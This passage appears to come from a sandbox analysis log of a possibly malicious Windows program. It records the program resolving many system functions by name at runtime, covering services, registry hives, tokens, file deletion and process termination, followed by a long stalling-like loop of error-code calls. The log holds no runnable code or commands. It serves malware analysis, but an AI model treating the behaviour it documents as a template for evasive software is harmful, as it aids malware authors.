"NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010927" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 380 os_tid = 0x95c [0301.279] GetModuleHandleA (lpModuleName="USERENV.dll") returned 0x74080000 [0301.280] GetProcAddress (hModule=0x74080000, lpProcName="GetUserProfileDirectoryW") returned 0x740849b0 [0301.280] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x0 [0301.280] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x772b0000 [0301.286] GetProcAddress (hModule=0x772b0000, lpProcName="CoSetProxyBlanket") returned 0x76a59510 [0301.286] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitializeSecurity") returned 0x76a89710 [0301.286] GetProcAddress (hModule=0x772b0000, lpProcName="CoUninitialize") returned 0x76a722b0 [0301.286] GetProcAddress (hModule=0x772b0000, lpProcName="CoCreateInstance") returned 0x76a37490 [0301.287] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitializeEx") returned 0x76a72590 [0301.287] GetProcAddress (hModule=0x772b0000, lpProcName="CoInitialize") returned 0x772e6a60 [0301.287] GetModuleHandleA (lpModuleName="SHELL32.dll") returned 0x74720000 [0301.287] GetProcAddress (hModule=0x74720000, lpProcName="CommandLineToArgvW") returned 0x7487cc20 [0301.287] GetProcAddress (hModule=0x74720000, lpProcName="SHGetFolderPathW") returned 0x748788f0 [0301.287] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x74560000 [0301.288] GetProcAddress (hModule=0x74560000, lpProcName="CloseHandle") returned 0x745ceab0 [0301.288] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentProcessId") returned 0x745cea20 [0301.288] GetProcAddress (hModule=0x74560000, lpProcName="GetEnvironmentVariableW") returned 0x74574fb0 [0301.288] GetProcAddress (hModule=0x74560000, lpProcName="WideCharToMultiByte") returned 0x74576b10 [0301.288] GetProcAddress (hModule=0x74560000, lpProcName="lstrcatA") returned 0x745b70c0 [0301.288] GetProcAddress (hModule=0x74560000, lpProcName="GetEnvironmentVariableA") returned 0x74574f90 [0301.289] GetProcAddress (hModule=0x74560000, lpProcName="MultiByteToWideChar") returned 0x74575c40 [0301.289] GetProcAddress (hModule=0x74560000, lpProcName="lstrlenW") returned 0x74576c70 [0301.289] GetProcAddress (hModule=0x74560000, lpProcName="lstrcatW") returned 0x745b71a0 [0301.289] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpyA") returned 0x745b7060 [0301.289] GetProcAddress (hModule=0x74560000, lpProcName="HeapAlloc") returned 0x77822dc0 [0301.290] GetProcAddress (hModule=0x74560000, lpProcName="HeapFree") returned 0x745757f0 [0301.290] GetProcAddress (hModule=0x74560000, lpProcName="HeapCreate") returned 0x745757b0 [0301.290] GetProcAddress (hModule=0x74560000, lpProcName="VirtualAlloc") returned 0x74576970 [0301.290] GetProcAddress (hModule=0x74560000, lpProcName="GetFileSize") returned 0x745cef30 [0301.290] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpiA") returned 0x74576bd0 [0301.290] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameA") returned 0x74575070 [0301.291] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentProcess") returned 0x745cea10 [0301.291] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleW") returned 0x745750d0 [0301.291] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryW") returned 0x74575ae0 [0301.291] GetProcAddress (hModule=0x74560000, lpProcName="CopyFileW") returned 0x745cf3b0 [0301.291] GetProcAddress (hModule=0x74560000, lpProcName="TerminateProcess") returned 0x745767e0 [0301.292] GetProcAddress (hModule=0x74560000, lpProcName="DeleteFileW") returned 0x745ced40 [0301.292] GetProcAddress (hModule=0x74560000, lpProcName="ResumeThread") returned 0x74576380 [0301.292] GetProcAddress (hModule=0x74560000, lpProcName="GetComputerNameW") returned 0x745a32c0 [0301.292] GetProcAddress (hModule=0x74560000, lpProcName="ReleaseMutex") returned 0x745cec20 [0301.292] GetProcAddress (hModule=0x74560000, lpProcName="GetExitCodeProcess") returned 0x74573c60 [0301.292] GetProcAddress (hModule=0x74560000, lpProcName="SetEnvironmentVariableW") returned 0x745764e0 [0301.292] GetProcAddress (hModule=0x74560000, lpProcName="GetTickCount") returned 0x745cdd50 [0301.293] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameW") returned 0x74575090 [0301.293] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemInfo") returned 0x745754d0 [0301.293] GetProcAddress (hModule=0x74560000, lpProcName="SetEnvironmentVariableA") returned 0x745764c0 [0301.293] GetProcAddress (hModule=0x74560000, lpProcName="GetVersionExA") returned 0x745756d0 [0301.293] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleA") returned 0x745750b0 [0301.294] GetProcAddress (hModule=0x74560000, lpProcName="SetEvent") returned 0x745cec50 [0301.294] GetProcAddress (hModule=0x74560000, lpProcName="OpenEventA") returned 0x745cebd0 [0301.294] GetProcAddress (hModule=0x74560000, lpProcName="CreateMutexA") returned 0x745ceb40 [0301.294] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentThread") returned 0x74578810 [0301.294] GetProcAddress (hModule=0x74560000, lpProcName="SetLastError") returned 0x74574f00 [0301.295] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemTimeAsFileTime") returned 0x74575530 [0301.295] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpiW") returned 0x74576bf0 [0301.295] GetProcAddress (hModule=0x74560000, lpProcName="MoveFileW") returned 0x745ae500 [0301.295] GetProcAddress (hModule=0x74560000, lpProcName="SetFileAttributesW") returned 0x745cf100 [0301.295] GetProcAddress (hModule=0x74560000, lpProcName="LocalAlloc") returned 0x74575b20 [0301.296] GetProcAddress (hModule=0x74560000, lpProcName="GetLocalTime") returned 0x74575060 [0301.296] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpyW") returned 0x745b7140 [0301.296] GetProcAddress (hModule=0x74560000, lpProcName="CreateDirectoryW") returned 0x745cece0 [0301.296] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryA") returned 0x74575a80 [0301.296] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0301.296] GetProcAddress (hModule=0x74560000, lpProcName="GetLastError") returned 0x74575010 [0301.297] GetProcAddress (hModule=0x74560000, lpProcName="CreateEventA") returned 0x745ceb00 [0301.297] GetProcAddress (hModule=0x74560000, lpProcName="SleepEx") returned 0x745cec70 [0301.297] GetProcAddress (hModule=0x74560000, lpProcName="WaitForSingleObject") returned 0x745ceca0 [0301.297] GetProcAddress (hModule=0x74560000, lpProcName="FreeLibrary") returned 0x74574c40 [0301.297] GetProcAddress (hModule=0x74560000, lpProcName="GetDriveTypeW") returned 0x745ceed0 [0301.297] GetProcAddress (hModule=0x74560000, lpProcName="lstrlenA") returned 0x74576c50 [0301.297] GetProcAddress (hModule=0x74560000, lpProcName="lstrcmpA") returned 0x74576b90 [0301.298] GetProcAddress (hModule=0x74560000, lpProcName="GetCommandLineW") returned 0x74574cc0 [0301.298] GetProcAddress (hModule=0x74560000, lpProcName="ExitProcess") returned 0x74573cb0 [0301.298] GetProcAddress (hModule=0x74560000, lpProcName="lstrcpynW") returned 0x74576c30 [0301.298] GetProcAddress (hModule=0x74560000, lpProcName="Sleep") returned 0x74576760 [0301.298] GetProcAddress (hModule=0x74560000, lpProcName="SystemTimeToFileTime") returned 0x745767a0 [0301.298] GetProcAddress (hModule=0x74560000, lpProcName="GetSystemTime") returned 0x745754e0 [0301.298] GetProcAddress (hModule=0x74560000, lpProcName="GetWindowsDirectoryW") returned 0x74575730 [0301.299] GetProcAddress (hModule=0x74560000, lpProcName="TerminateThread") returned 0x74576800 [0301.299] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x76850000 [0301.299] GetProcAddress (hModule=0x76850000, lpProcName="CharUpperBuffA") returned 0x768c7650 [0301.299] GetProcAddress (hModule=0x76850000, lpProcName="MessageBoxA") returned 0x768bd740 [0301.299] GetProcAddress (hModule=0x76850000, lpProcName="GetClassNameA") returned 0x7686ba80 [0301.299] GetProcAddress (hModule=0x76850000, lpProcName="CharUpperBuffW") returned 0x768c7670 [0301.299] GetProcAddress (hModule=0x76850000, lpProcName="GetSystemMetrics") returned 0x7687ddc0 [0301.300] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x77230000 [0301.300] GetProcAddress (hModule=0x77230000, lpProcName="SetSecurityDescriptorDacl") returned 0x7724f6c0 [0301.300] GetProcAddress (hModule=0x77230000, lpProcName="InitializeSecurityDescriptor") returned 0x7724f870 [0301.300] GetProcAddress (hModule=0x77230000, lpProcName="GetTokenInformation") returned 0x7724ee90 [0301.300] GetProcAddress (hModule=0x77230000, lpProcName="GetSidSubAuthorityCount") returned 0x7724f420 [0301.301] GetProcAddress (hModule=0x77230000, lpProcName="OpenThreadToken") returned 0x7724eeb0 [0301.301] GetProcAddress (hModule=0x77230000, lpProcName="RegDeleteValueW") returned 0x77250580 [0301.301] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryInfoKeyW") returned 0x7724f270 [0301.301] GetProcAddress (hModule=0x77230000, lpProcName="GetSidSubAuthority") returned 0x7724f230 [0301.301] GetProcAddress (hModule=0x77230000, lpProcName="OpenProcessToken") returned 0x7724efb0 [0301.302] GetProcAddress (hModule=0x77230000, lpProcName="RegCloseKey") returned 0x7724ed60 [0301.302] GetProcAddress (hModule=0x77230000, lpProcName="RegUnLoadKeyW") returned 0x77263af0 [0301.302] GetProcAddress (hModule=0x77230000, lpProcName="RegLoadKeyW") returned 0x77263990 [0301.302] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidW") returned 0x7724f100 [0301.302] GetProcAddress (hModule=0x77230000, lpProcName="EqualSid") returned 0x7724ffe0 [0301.303] GetProcAddress (hModule=0x77230000, lpProcName="SetServiceStatus") returned 0x77250650 [0301.303] GetProcAddress (hModule=0x77230000, lpProcName="RegisterServiceCtrlHandlerA") returned 0x77263b10 [0301.303] GetProcAddress (hModule=0x77230000, lpProcName="StartServiceCtrlDispatcherA") returned 0x77253b60 [0301.303] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountNameW") returned 0x7724f290 [0301.303] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryValueExW") returned 0x7724e5a0 [0301.303] GetProcAddress (hModule=0x77230000, lpProcName="RegSetValueExW") returned 0x7724f530 [0301.304] GetProcAddress (hModule=0x77230000, lpProcName="ConvertSidToStringSidW") returned 0x7724ed80 [0301.304] GetProcAddress (hModule=0x77230000, lpProcName="RegOpenKeyExW") returned 0x7724e580 [0301.304] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumValueW") returned 0x7724f250 [0301.304] GetModuleHandleA (lpModuleName="msvcrt.dll") returned 0x74360000 [0301.304] GetProcAddress (hModule=0x74360000, lpProcName="memcpy") returned 0x743e7b70 [0301.305] GetProcAddress (hModule=0x74360000, lpProcName="memset") returned 0x743e8360 [0301.305] GetProcAddress (hModule=0x74360000, lpProcName="_ltoa") returned 0x74390600 [0301.305] GetProcAddress (hModule=0x74360000, lpProcName="_vsnwprintf") returned 0x743d5fb0 [0301.305] GetProcAddress (hModule=0x74360000, lpProcName="_vsnprintf") returned 0x743d5b40 [0301.305] GetProcAddress (hModule=0x74360000, lpProcName="_except_handler3") returned 0x743b7d94 [0301.305] HeapCreate (flOptions=0x0, dwInitialSize=0x80000, dwMaximumSize=0x0) returned 0x4510000 [0301.331] SetLastError (dwErrCode=0x5) [0301.331] GetLastError () returned 0x5 [0301.331] GetCurrentThread () returned 0xfffffffe [0301.331] SetLastError (dwErrCode=0x9) [0301.331] GetLastError () returned 0x9 [0301.331] GetCurrentThread () returned 0xfffffffe [0301.331] SetLastError (dwErrCode=0xd) [0301.331] GetLastError () returned 0xd [0301.331] GetCurrentThread () returned 0xfffffffe [0301.331] SetLastError (dwErrCode=0x11) [0301.331] GetLastError () returned 0x11 [0301.331] GetCurrentThread () returned 0xfffffffe [0301.331] SetLastError (dwErrCode=0x15) [0301.331] GetLastError () returned 0x15 [0301.331] GetCurrentThread () returned 0xfffffffe [0301.331] SetLastError (dwErrCode=0x19) [0301.331] GetLastError () returned 0x19 [0301.331] GetCurrentThread () returned 0xfffffffe [0301.331] SetLastError (dwErrCode=0x1d) [0301.331] GetLastError () returned 0x1d [0301.331] GetCurrentThread () returned 0xfffffffe [0301.332] SetLastError (dwErrCode=0x21) [0301.332] GetLastError () returned 0x21 [0301.332] GetCurrentThread () returned 0xfffffffe [0301.332] SetLastError (dwErrCode=0x25) [0301.332] GetLastError () returned 0x25 [0301.332] GetCurrentThread () returned 0xfffffffe [0301.332] SetLastError (dwErrCode=0x29) [0301.332] GetLastError () returned 0x29 [0301.332] GetCurrentThread () returned 0xfffffffe [0301.332] SetLastError (dwErrCode=0x2d) [0301.332] GetLastError () returned 0x2d [0301.332] GetCurrentThread () returned 0xfffffffe [0301.332] SetLastError (dwErrCode=0x31) [0301.332] GetLastError () returned 0x31 [0301.332] GetCurrentThread () returned 0xfffffffe [0301.332] SetLastError (dwErrCode=0x35) [0301.332] GetLastError () returned 0x35 [0301.332] GetCurrentThread () returned 0xfffffffe [0301.332] SetLastError (dwErrCode=0x39) [0301.332] GetLastError () returned 0x39 [0301.332] GetCurrentThread () returned 0xfffffffe [0301.332] SetLastError (dwErrCode=0x3d) [0301.332] GetLastError () returned 0x3d [0301.332] GetCurrentThread () returned 0xfffffffe [0301.332] SetLastError (dwErrCode=0x41) [0301.332] GetLastError () returned 0x41 [0301.332] GetCurrentThread () returned 0xfffffffe [0301.332] SetLastError (dwErrCode=0x45) [0301.332] GetLastError () returned 0x45 [0301.332] GetCurrentThread () returned 0xfffffffe [0301.332] SetLastError (dwErrCode=0x49) [0301.332] GetLastError () returned 0x49 [0301.332] GetCurrentThread () returned 0xfffffffe [0301.332] SetLastError (dwErrCode=0x4d) [0301.333] GetLastError () returned 0x4d [0301.333] GetCurrentThread () returned 0xfffffffe [0301.333] SetLastError (dwErrCode=0x51) [0301.333] GetLastError () returned 0x51 [0301.333] GetCurrentThread () returned 0xfffffffe [0301.333] SetLastError (dwErrCode=0x55) [0301.333] GetLastError () returned 0x55 [0301.333] GetCurrentThread () returned 0xfffffffe [0301.333] SetLastError (dwErrCode=0x59) [0301.333] GetLastError () returned 0x59 [0301.333] GetCurrentThread () returned 0xfffffffe [0301.333] SetLastError (dwErrCode=0x5d) [0301.333] GetLastError () returned 0x5d [0301.333] GetCurrentThread () returned 0xfffffffe [0301.333] SetLastError (dwErrCode=0x61) [0301.333] GetLastError () returned 0x61 [0301.333] GetCurrentThread () returned 0xfffffffe [0301.333] SetLastError (dwErrCode=0x65) [0301.333] GetLastError () returned 0x65 [0301.333] GetCurrentThread () returned 0xfffffffe [0301.333] SetLastError (dwErrCode=0x69) [0301.333] GetLastError () returned 0x69 [0301.333] GetCurrentThread () returned 0xfffffffe [0301.333] SetLastError (dwErrCode=0x6d) [0301.333] GetLastError () returned 0x6d [0301.333] GetCurrentThread () returned 0xfffffffe [0301.333] SetLastError (dwErrCode=0x71) [0301.333] GetLastError () returned 0x71 [0301.333] GetCurrentThread () returned 0xfffffffe [0301.333] SetLastError (dwErrCode=0x75) [0301.333] GetLastError () returned 0x75 [0301.333] GetCurrentThread () returned 0xfffffffe [0301.333] SetLastError (dwErrCode=0x79) [0301.333] GetLastError () returned 0x79 [0301.334] GetCurrentThread () returned 0xfffffffe [0301.334] SetLastError (dwErrCode=0x7d) [0301.334] GetLastError () returned 0x7d [0301.334] GetCurrentThread () returned 0xfffffffe [0301.334] SetLastError (dwErrCode=0x81) [0301.334] GetLastError () returned 0x81 [0301.334] GetCurrentThread () returned 0xfffffffe [0301.334] SetLastError (dwErrCode=0x85) [0301.334] GetLastError () returned 0x85 [0301.334] GetCurrentThread () returned 0xfffffffe [0301.334] SetLastError (dwErrCode=0x89) [0301.334] GetLastError () returned 0x89 [0301.334] GetCurrentThread () returned 0xfffffffe [0301.334] SetLastError (dwErrCode=0x8d) [0301.334] GetLastError () returned 0x8d [0301.334] GetCurrentThread () returned 0xfffffffe [0301.334] SetLastError (dwErrCode=0x91) [0301.334] GetLastError () returned 0x91 [0301.334] GetCurrentThread () returned 0xfffffffe [0301.334] SetLastError (dwErrCode=0x95) [0301.334] GetLastError () returned 0x95 [0301.334] GetCurrentThread () returned 0xfffffffe [0301.334] SetLastError (dwErrCode=0x99) [0301.334] GetLastError () returned 0x99 [0301.334] GetCurrentThread () returned 0xfffffffe [0301.334] SetLastError (dwErrCode=0x9d) [0301.334] GetLastError () returned 0x9d [0301.334] GetCurrentThread () returned 0xfffffffe [0301.334] SetLastError (dwErrCode=0xa1) [0301.334] GetLastError () returned 0xa1 [0301.334] GetCurrentThread () returned 0xfffffffe [0301.334] SetLastError (dwErrCode=0xa5) [0301.334] GetLastError () returned 0xa5 [0301.335] GetCurrentThread () returned 0xfffffffe [0301.335] SetLastError (dwErrCode=0xa9) [0301.335] GetLastError () returned 0xa9 [0301.335] GetCurrentThread () returned 0xfffffffe [0301.335] SetLastError (dwErrCode=0xad) [0301.335] GetLastError () returned 0xad [0301.335] GetCurrentThread () returned 0xfffffffe [0301.335] SetLastError (dwErrCode=0xb1) [0301.335] GetLastError () returned 0xb1 [0301.335] GetCurrentThread () returned 0xfffffffe [0301.335] SetLastError (dwErrCode=0xb5) [0301.335] GetLastError () returned 0xb5 [0301.335] GetCurrentThread () returned 0xfffffffe [0301.335] SetLastError (dwErrCode=0xb9) [0301.335] GetLastError () returned 0xb9 [0301.335] GetCurrentThread () returned 0xfffffffe [0301.335] SetLastError (dwErrCode=0xbd) [0301.335] GetLastError () returned 0xbd [0301.335] GetCurrentThread () returned 0xfffffffe [0301.335] SetLastError (dwErrCode=0xc1) [0301.335] GetLastError () returned 0xc1 [0301.335] GetCurrentThread () returned 0xfffffffe [0301.335] SetLastError (dwErrCode=0xc5) [0301.335] GetLastError () returned 0xc5 [0301.335] GetCurrentThread () returned 0xfffffffe [0301.335] SetLastError (dwErrCode=0xc9) [0301.335] GetLastError () returned 0xc9 [0301.335] GetCurrentThread () returned 0xfffffffe [0301.335] SetLastError (dwErrCode=0xcd) [0301.335] GetLastError () returned 0xcd [0301.335] GetCurrentThread () returned 0xfffffffe [0301.335] SetLastError (dwErrCode=0xd1) [0301.335] GetLastError () returned 0xd1 [0301.335] GetCurrentThread () returned 0xfffffffe [0301.336] SetLastError (dwErrCode=0xd5) [0301.336] GetLastError () returned 0xd5 [0301.336] GetCurrentThread () returned 0xfffffffe [0301.336] SetLastError (dwErrCode=0xd9) [0301.336] GetLastError () returned 0xd9 [0301.336] GetCurrentThread () returned 0xfffffffe [0301.336] SetLastError (dwErrCode=0xdd) [0301.336] GetLastError () returned 0xdd [0301.336] GetCurrentThread () returned 0xfffffffe [0301.336] SetLastError (dwErrCode=0xe1) [0301.336] GetLastError () returned 0xe1 [0301.336] GetCurrentThread () returned 0xfffffffe [0301.336] SetLastError (dwErrCode=0xe5) [0301.336] GetLastError () returned 0xe5 [0301.336] GetCurrentThread () returned 0xfffffffe [0301.336] SetLastError (dwErrCode=0xe9) [0301.336] GetLastError () returned 0xe9 [0301.336] GetCurrentThread () returned 0xfffffffe [0301.336] SetLastError (dwErrCode=0xed) [0301.336] GetLastError () returned 0xed [0301.336] GetCurrentThread () returned 0xfffffffe [0301.336] SetLastError (dwErrCode=0xf1) [0301.336] GetLastError () returned 0xf1 [0301.336] GetCurrentThread () returned 0xfffffffe [0301.336] SetLastError (dwErrCode=0xf5) [0301.336] GetLastError () returned 0xf5 [0301.336] GetCurrentThread () returned 0xfffffffe [0301.336] SetLastError (dwErrCode=0xf9) [0301.336] GetLastError () returned 0xf9 [0301.336] GetCurrentThread () returned 0xfffffffe [0301.336] SetLastError (dwErrCode=0xfd) [0301.336] GetLastError () returned 0xfd [0301.336] GetCurrentThread () returned 0xfffffffe [0301.336] SetLastError (dwErrCode=0x101) [0301.337] GetLastError () returned 0x101 [0301.337] GetCurrentThread () returned 0xfffffffe [0301.337] SetLastError (dwErrCode=0x105) [0301.337] GetLastError () returned 0x105 [0301.337] GetCurrentThread () returned 0xfffffffe [0301.337] SetLastError (dwErrCode=0x109) [0301.337] GetLastError () returned 0x109 [0301.337] GetCurrentThread () returned 0xfffffffe [0301.337] SetLastError (dwErrCode=0x10d) [0301.337] GetLastError () returned 0x10d [0301.337] GetCurrentThread () returned 0xfffffffe [0301.337] SetLastError (dwErrCode=0x111) [0301.337] GetLastError () returned 0x111 [0301.337] GetCurrentThread () returned 0xfffffffe [0301.337] SetLastError (dwErrCode=0x115) [0301.337] GetLastError () returned 0x115 [0301.337] GetCurrentThread () returned 0xfffffffe [0301.337] SetLastError (dwErrCode=0x119) [0301.337] GetLastError () returned 0x119 [0301.337] GetCurrentThread () returned 0xfffffffe [0301.337] SetLastError (dwErrCode=0x11d) [0301.337] GetLastError () returned 0x11d [0301.337] GetCurrentThread () returned 0xfffffffe [0301.337] SetLastError (dwErrCode=0x121) [0301.337] GetLastError () returned 0x121 [0301.337] GetCurrentThread () returned 0xfffffffe [0301.337] SetLastError (dwErrCode=0x125) [0301.337] GetLastError () returned 0x125 [0301.337] GetCurrentThread () returned 0xfffffffe [0301.337] SetLastError (dwErrCode=0x129) [0301.337] GetLastError () returned 0x129 [0301.337] GetCurrentThread () returned 0xfffffffe [0301.337] SetLastError (dwErrCode=0x12d) [0301.337] GetLastError () returned 0x12d [0301.338] GetCurrentThread () returned 0xfffffffe [0301.338] SetLastError (dwErrCode=0x131) [0301.338] GetLastError () returned 0x131 [0301.338] GetCurrentThread () returned 0xfffffffe [0301.338] SetLastError (dwErrCode=0x135) [0301.338] GetLastError () returned 0x135 [0301.338] GetCurrentThread () returned 0xfffffffe [0301.338] SetLastError (dwErrCode=0x139) [0301.338] GetLastError () returned 0x139 [0301.338] GetCurrentThread () returned 0xfffffffe [0301.338] SetLastError (dwErrCode=0x13d) [0301.338] GetLastError () returned 0x13d [0301.338] GetCurrentThread () returned 0xfffffffe [0301.338] SetLastError (dwErrCode=0x141) [0301.338] GetLastError () returned 0x141 [0301.338] GetCurrentThread () returned 0xfffffffe [0301.338] SetLastError (dwErrCode=0x145) [0301.338] GetLastError () returned 0x145 [0301.338] GetCurrentThread () returned 0xfffffffe [0301.338] SetLastError (dwErrCode=0x149) [0301.338] GetLastError () returned 0x149 [0301.338] GetCurrentThread () returned 0xfffffffe [0301.338] SetLastError (dwErrCode=0x14d) [0301.338] GetLastError () returned 0x14d [0301.338] GetCurrentThread () returned 0xfffffffe [0301.338] SetLastError (dwErrCode=0x151) [0301.338] GetLastError () returned 0x151 [0301.338] GetCurrentThread () returned 0xfffffffe [0301.338] SetLastError (dwErrCode=0x155) [0301.338] GetLastError () returned 0x155 [0301.339] GetCurrentThread () returned 0xfffffffe [0301.339] SetLastError (dwErrCode=0x159) [0301.339] GetLastError () returned 0x159 [0301.339] GetCurrentThread () returned 0xfffffffe [0301.339] SetLastError (dwErrCode=0x15d) [0301.339] GetLastError () returned 0x15d [0301.339] GetCurrentThread () returned 0xfffffffe [0301.339] SetLastError (dwErrCode=0x161) [0301.339] GetLastError () returned 0x161 [0301.339] GetCurrentThread () returned 0xfffffffe [0301.339] SetLastError (dwErrCode=0x165) [0301.339] GetLastError () returned 0x165 [0301.339] GetCurrentThread () returned 0xfffffffe [0301.339] SetLastError (dwErrCode=0x169) [0301.339] GetLastError () returned 0x169 [0301.339] GetCurrentThread () returned 0xfffffffe [0301.339] SetLastError (dwErrCode=0x16d) [0301.339] GetLastError () returned 0x16d [0301.339] GetCurrentThread () returned 0xfffffffe [0301.339] SetLastError (dwErrCode=0x171) [0301.339] GetLastError () returned 0x171 [0301.339] GetCurrentThread () returned 0xfffffffe [0301.339] SetLastError (dwErrCode=0x175) [0301.339] GetLastError () returned 0x175 [0301.339] GetCurrentThread () returned 0xfffffffe [0301.339] SetLastError (dwErrCode=0x179) [0301.339] GetLastError () returned 0x179 [0301.339] GetCurrentThread () returned 0xfffffffe [0301.339] SetLastError (dwErrCode=0x17d) [0301.339] GetLastError () returned 0x17d [0301.339] GetCurrentThread () returned 0xfffffffe [0301.339] SetLastError (dwErrCode=0x181) [0301.339] GetLastError () returned 0x181 [0301.340] GetCurrentThread () returned 0xfffffffe [0301.340] SetLastError (dwErrCode=0x185) [0301.340] GetLastError () returned 0x185 [0301.340] GetCurrentThread () returned 0xfffffffe [0301.340] SetLastError (dwErrCode=0x189) [0301.340] GetLastError () returned 0x189 [0301.340] GetCurrentThread () returned 0xfffffffe [0301.340] SetLastError (dwErrCode=0x18d) [0301.340] GetLastError () returned 0x18d [0301.340] GetCurrentThread () returned 0xfffffffe [0301.340] SetLastError (dwErrCode=0x191) [0301.340] GetLastError () returned 0x191 [0301.340] GetCurrentThread () returned 0xfffffffe [0301.340] SetLastError (dwErrCode=0x195) [0301.340] GetLastError () returned 0x195 [0301.340] GetCurrentThread () returned 0xfffffffe [0301.340] SetLastError (dwErrCode=0x199) [0301.340] GetLastError () returned 0x199 [0301.340] GetCurrentThread () returned 0xfffffffe [0301.340] SetLastError (dwErrCode=0x19d) [0301.340] GetLastError () returned 0x19d [0301.340] GetCurrentThread () returned 0xfffffffe [0301.340] SetLastError (dwErrCode=0x1a1) [0301.340] GetLastError () returned 0x1a1 [0301.340] GetCurrentThread () returned 0xfffffffe [0301.340] SetLastError (dwErrCode=0x1a5) [0301.340] GetLastError () returned 0x1a5 [0301.340] GetCurrentThread () returned 0xfffffffe [0301.340] SetLastError (dwErrCode=0x1a9) [0301.340] GetLastError () returned 0x1a9 [0301.340] GetCurrentThread () returned 0xfffffffe [0301.340] SetLastError (dwErrCode=0x1ad) [0301.340] GetLastError () returned 0x1ad [0301.340] GetCurrentThread () returned 0xfffffffe [0301.341] SetLastError (dwErrCode=0x1b1) [0301.341] GetLastError () returned 0x1b1 [0301.341] GetCurrentThread () returned 0xfffffffe [0301.341] SetLastError (dwErrCode=0x1b5) [0301.341] GetLastError () returned 0x1b5 [0301.341] GetCurrentThread () returned 0xfffffffe [0301.344] SetLastError (dwErrCode=0x1b9) [0301.344] GetLastError () returned 0x1b9 [0301.344] GetCurrentThread () returned 0xfffffffe [0301.344] SetLastError (dwErrCode=0x1bd) [0301.344] GetLastError () returned 0x1bd [0301.344] GetCurrentThread () returned 0xfffffffe [0301.344] SetLastError (dwErrCode=0x1c1) [0301.344] GetLastError () returned 0x1c1 [0301.344] GetCurrentThread () returned 0xfffffffe [0301.344] SetLastError (dwErrCode=0x1c5) [0301.344] GetLastError () returned 0x1c5 [0301.344] GetCurrentThread () returned 0xfffffffe [0301.344] SetLastError (dwErrCode=0x1c9) [0301.344] GetLastError () returned 0x1c9 [0301.344] GetCurrentThread () returned 0xfffffffe [0301.344] SetLastError (dwErrCode=0x1cd) [0301.345] GetLastError () returned 0x1cd [0301.345] GetCurrentThread () returned 0xfffffffe [0301.345] SetLastError (dwErrCode=0x1d1) [0301.345] GetLastError () returned 0x1d1 [0301.345] GetCurrentThread () returned 0xfffffffe [0301.345] SetLastError (dwErrCode=0x1d5) [0301.345] GetLastError () returned 0x1d5 [0301.345] GetCurrentThread () returned 0xfffffffe [0301.345] SetLastError (dwErrCode=0x1d9) [0301.345] GetLastError () returned 0x1d9 [0301.345] GetCurrentThread () returned 0xfffffffe [0301.345] SetLastError (dwErrCode=0x1dd) [0301.345] GetLastError () returned 0x1dd [0301.345] GetCurrentThread () returned 0xfffffffe [0301.345] SetLastError (dwErrCode=0x1e1) [0301.345] GetLastError () returned 0x1e1 [0301.345] GetCurrentThread () returned 0xfffffffe [0301.345] SetLastError (dwErrCode=0x1e5) [0301.345] GetLastError () returned 0x1e5 [0301.345] GetCurrentThread () returned 0xfffffffe [0301.345] SetLastError (dwErrCode=0x1e9) [0301.345] GetLastError () returned 0x1e9 [0301.345] GetCurrentThread () returned 0xfffffffe [0301.345] SetLastError (dwErrCode=0x1ed) [0301.345] GetLastError () returned 0x1ed [0301.345] GetCurrentThread () returned 0xfffffffe [0301.345] SetLastError (dwErrCode=0x1f1) [0301.345] GetLastError () returned 0x1f1 [0301.345] GetCurrentThread () returned 0xfffffffe [0301.345] SetLastError (dwErrCode=0x1f5) [0301.345] GetLastError () returned 0x1f5 [0301.345] GetCurrentThread () returned 0xfffffffe [0301.345] SetLastError (dwErrCode=0x1f9) [0301.346] GetLastError () returned 0x1f9 [0301.346] GetCurrentThread () returned 0xfffffffe [0301.346] SetLastError (dwErrCode=0x1fd) [0301.346] GetLastError () returned 0x1fd [0301.346] GetCurrentThread () returned 0xfffffffe [0301.346] SetLastError (dwErrCode=0x201) [0301.346] GetLastError () returned 0x201 [0301.346] GetCurrentThread () returned 0xfffffffe [0301.346] SetLastError (dwErrCode=0x205) [0301.346] GetLastError () returned 0x205 [0301.346] GetCurrentThread () returned 0xfffffffe [0301.346] SetLastError (dwErrCode=0x209) [0301.346] GetLastError () returned 0x209 [0301.346] GetCurrentThread () returned 0xfffffffe [0301.346] SetLastError (dwErrCode=0x20d) [0301.346] GetLastError () returned 0x20d [0301.346] GetCurrentThread () returned 0xfffffffe [0301.346] SetLastError (dwErrCode=0x211) [0301.346] GetLastError () returned 0x211 [0301.347] GetCurrentThread () returned 0xfffffffe [0301.347] SetLastError (dwErrCode=0x215) [0301.347] GetLastError () returned 0x215 [0301.347] GetCurrentThread () returned 0xfffffffe [0301.347] SetLastError (dwErrCode=0x219) [0301.347] GetLastError () returned 0x219 [0301.347] GetCurrentThread () returned 0xfffffffe [0301.347] SetLastError (dwErrCode=0x21d) 